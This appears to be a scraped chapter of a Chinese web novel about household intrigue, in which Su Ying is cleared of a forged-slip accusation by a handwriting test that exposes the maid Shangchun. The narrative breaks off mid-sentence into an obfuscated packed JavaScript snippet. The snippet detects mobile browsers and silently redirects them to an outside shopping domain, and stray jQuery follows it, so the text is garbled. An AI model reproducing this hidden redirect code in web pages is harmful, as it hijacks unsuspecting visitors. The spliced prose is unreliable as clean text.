她心下一凉,已不知如何辩解。
上春眼瞧着形势不对,赶忙上前扶着大夫人坐下:“苏姑娘真是被这些刁奴欺负了,大夫人可要好好为苏姑娘做主才是。”
“说来这事怪我。”大夫人叹了一声,又换了一副面孔对苏潆道:“是我的不是,听了这些刁奴的胡话,这才冤了你。你放心,我定会惩治这些欺主的东西!”
苏潆勾了勾唇,走到几人面前,行礼后才道:“有些话若说不清楚,反倒落了口舌官司,日后也得不了清净。”
大夫人面上一片阴云密布,忽而冷笑一声:“我知姑娘心中不忿,但再气,也不至于要了他们命吧。”
站在一旁的谢温妤突然开口:“大伯母误会,苏姑娘的意思是,此事若不查清,下人们心里不明不白,日后定会传出更多难听的话。”
三夫人道:“这话在理,先不说苏姑娘,苏姨娘日后也得抬头做人,否则因此事与大爷生了嫌隙,岂不是大夫人的罪过?”她笑着朝苏潆道:“有什么委屈尽管说来,今日我们三个房的人都在,甭管有什么事,都说清了,若日后谁再敢嚼你舌根子,我立时将她赶出去!”
这番先入为主的说辞,大夫人听得直翻白眼,谢温妤则是不断轻咳,似在提醒三夫人。
苏潆笑了,这是拿她在唱大戏呢!除了谢怀延,这两人来这的目的都不单纯。一个是为了治她的罪,另一个,是为了抓大夫人的错处。
自古宅院儿里的那点事,绕不开的唯有掌家权。一旦拿了掌家权,便是等着银子进账,凭着用多用少,还不是自己便能吃下的事,自然能攒下不少银钱来。
而谢家这样大的门户更不用说。财数巨万,指甲缝里扣出点都够普通老百姓衣食丰足过很久,故而这三夫人打着什么主意,她自是清楚。
但三夫人的高明之处也在这里。用她的事做引子,掌家之权到手后也不会落人话柄,更不会让几个爷儿心里生了嫌隙。
“巧儿姑娘与大夫人,皆是凭着一张单子,便断定是我吃了谢家银钱,想来这事的根源在这单子上。我想查清的是,这张莫须有的单子从何而来,此人目的为何。”
“此事有何难查。”一直在旁静静听着的谢怀延蓦然出声:“只需叫来当日在的掌柜小厮,当众辨认那日除了苏姑娘,还有哪位谢家人去过店里,且要了单子来看,便能真相大白。”
“怀延说笑了,我们谢家这样的门第,若是被人知晓出了这样的事,想必不日便会传出去。如今三位爷都在朝中任职,这样的小事又何必惊动。”大夫人笑着打圆场。
“这怎会是小事。就算谢家家底再厚,若是由着人予求予取,怕也有‘山穷水尽’之时。大伯母放心,这家店的店主人也是常与邺阳大户做生意的,什么该说什么不该说,他比谁都清楚。荆安,将人带进来。”
几人又是一愣,谢温妤却生了些佩服,这苏潆是个聪明的,平日里不声不响,心里却不糊涂。
可二哥哥……
总感觉他今夜有些不同……
她看向谢怀延,又没发现什么异常之处。
难道是她感觉错了?
大夫人的面色最先变得难看,三夫人却噙着笑将人都请了进来。
店主人不在,请的是那日的掌柜。
谢怀延让荆安抬了蜡烛跟着掌柜,借着蜡烛的光,一个个辨认奴婢仆从的脸。待到了檀云时,他突然停了下来,抬眼仔细打量着檀云的脸。
檀云蹙眉,忽听掌柜回身禀了上头三人:“应是……这位姑娘。”
檀云惊慌错愕,想要开口辩解,却因大脑一片空白,结结巴巴了好半会,才说完。
“二公子!大夫人三夫人!奴婢没有……没有做过……奴婢没去过这家店……更没见过这人!”
不止檀云,苏潆也疑惑了。造这阴阳单子的人是想栽赃她套用谢家银钱这事,将她赶出谢家。可这事儿除了大夫人,还有谁会做?
但掌柜指认的却是檀云……
“掌柜的,你可要看清楚再说话!”三夫人沉不住气,立时起身厉声喝道。
大夫人动了动手指上的翡翠戒指,唇角微勾,却一句话不说。
谢温妤按住三夫人,对那掌柜道:“你说那日来的人是檀云,可看仔细了?”
“隔得久了,只依稀记得……”掌柜战战兢兢回了话。
“好,那我问你,那日檀云什么时辰进的店?她进店做了什么?你店内每日进出不少人,你凭何记得她?”
掌柜回道:“那日苏姑娘是申时进的店,这位檀云姑娘是待苏姑娘走后才跟着进的店,因她自称是姑娘的婢子,说是姑娘忘了誊抄订货的单子,需拿一份回去给大夫人过目,故而问某要来誊抄一份,某这才记得这姑娘样貌。”
申时,那日檀云确实跟着母亲出去了一趟,她找不到人证来证明,那岂不是死局。
谢温妤皱眉,看向嘴角噙着冷笑的大夫人。
是她小瞧了大夫人。想着那日母亲带着檀云出门,也是她设计。
苏潆在一旁听了掌柜的话,想了想,却发现其中漏洞:“她誊写单子时,用的是哪只手?”
掌柜顿了顿,回道:“右手。”
大夫人眸色一暗,还未言语,便听谢温妤道:“檀云只会左手写字。”
檀云欣喜岔言:“是了!奴婢是左撇子!怎会用右手写字!”
那掌柜愕然疑道:“可那日……某分明……”
“掌柜。”苏潆对他柔声一笑:“你与谢家做了多年生意,自不会胡乱编排些话来污人清白。我最后问你一句,若有婢子与她长得七分相似,且梳着一样的发髻,身着一样的衣服,身高体型也相似,你可能分辨得清?”
“店里每日进出人多,若真是如此,某分辨不出……”
谢温妤当先反应过来,看向大夫人,双眉一挑,又看向她身后:“与檀云七分相似的,不就是上春么。”
一群人顿时将目光对准了上春,那掌柜借着光亮瞧了一眼,又回过身去瞧了檀云一眼,一时也有些不确定。
上春面色不变,静静立在大夫人身后,挺直了背脊。
几人一时没了主意,苏潆又道:“那日来的姑娘誊抄单子时,你可在旁边?”
“在的。”掌柜急忙应道:“那等重要的东西,怎能离眼!那位姑娘誊抄时某都看着呢!”
“可能认得出字来?”苏潆又问。
那掌柜迟疑少刻,点头道:“能认出,那姑娘写字时是用拇指抵笔,笔力靠右,与寻常人不同。若两位姑娘再誊抄一遍单子,某便能认出。”
“如此便简单了。”谢怀延淡淡道:“绍六去取笔墨来,让檀云与上春分别誊抄一份,我自幼练字,他人无论如何隐藏,我皆能看出,便由我亲自来辨认。”
绍六搬来桌子,檀云倒是坦坦荡荡提笔开始誊抄,上春面色已然煞白,抖着手下了笔。
“我记得,有一次你服侍大夫人茶汤时,烫了右手。”谢温妤在三夫人身后幽幽开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912496|190884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口。
上春的笔顿时落在了地上,大夫人已没了之前的气势,沉着声气不说话。
隔了一会,檀云将誊抄好的单子交给掌柜验看。掌柜看后便摇了摇头,又将单子送至谢怀延跟前。
谢怀延看过,抬眼看向檀云:“过。”
檀云喜极而泣,抹了一把泪珠子,恨恨看着一旁的上春。
上春停下笔,缩着手站朝一旁,也不敢再说话。
苏潆上前,见纸上歪歪扭扭几行字,像是刻意写成这样的。
绍六接了苏潆递来的纸,拿给了谢怀延看。
谢怀延眉头一皱,起身走到了上春面前,沉声问道:“大房应有不少你的字,要我让人去拿么?”
“不不!”上春抖着身子跪下,却一个劲儿地喊冤:“真不是奴婢……”
“你故意改了惯用的写字姿势才会这般,不心虚,又怕什么?”
谢怀延言辞犀利如锋刃,将上春逼得崩溃,只一味地哭。
“行了。”三夫人起身,对掌柜道:“剩下的事便是我们谢家的事,你先回去,轻重该知道。”
那掌柜也是聪明人,当即会意,得了三夫人给的银子,行礼退下。
苏潆默默退到一边。既然事情已然明了,那后面的争斗,自是无须再出面。
“大夫人解释解释?你让上春扮了檀云的样子去誊抄单子,再让元春跟巧儿在这唱双簧,污蔑人家苏姑娘,你到底安的什么心?”说到最后,三夫人声调陡然抬高。
大夫人缓缓起身,走向三夫人,冷冷一笑:“先不论我有什么心思,你难道心思干净着?欺着苏潆身份的人又不止这两个,要罚一起罚!若要闹起来,便到老太太跟前去闹,凭着你让我身边人做的那些乌糟事,我能怕你咬我?”
大夫人冷冷瞧了一眼苏潆,又对跪了一地的婢子道:“今日之事待老太太寿宴之后再说,若谁去多嘴多舌,别怪我不留情面。上春,带着巧儿和元春回去。”
上春赶忙抹了泪去拉元春和巧儿,待几人走后,三夫人才笑着过来拉着苏潆道:“你可别往心里去,檀云那丫头我定带回去好好罚她,给你出气!你先好好办老太太寿宴,待寿宴过后,我定会为你讨回公道!”?
苏潆点点头,并未再说什么。
谢温妤跟着三夫人出了院门,回过身时,恰好见着她那位平日矜严肃厉的二哥哥,他目光柔和地看着面前的少女。
她沉下目光,跟着三夫人离开。
人总算走了个干净,苏潆才刚松了口气,谢怀延便凑上来,先是一笑,后才打趣道:“今夜一战,如何?”
无硝烟的战场,也是刀光血影啊。不过,总算能安安静静做事了。
苏潆也笑了:“心有余悸。”
“为避免夜长梦多,你这里的人,绍六今夜便会换一批过来。”
所谓趁热打铁,只要人安进来了,其余两房便不好塞人过来了。
苏潆朝他行礼:“今夜,谢二公子。”
原本还怕她应付不来,谁知他能出手的机会并不多。谢怀延有些意外于她的从容不迫,又有些失落于自己无所施其技。
谢怀延问:“然后呢?”
苏潆愣住,少顷反应过来,有些无奈,又一字一句道:“谢,二公子……”
谢怀延抿唇,在与她擦身而过时忽然停下,淡淡道:“口头上说谢,未免诚意不足。”
苏潆挑眉看他。
“我的生辰是除夕。”谢怀延道。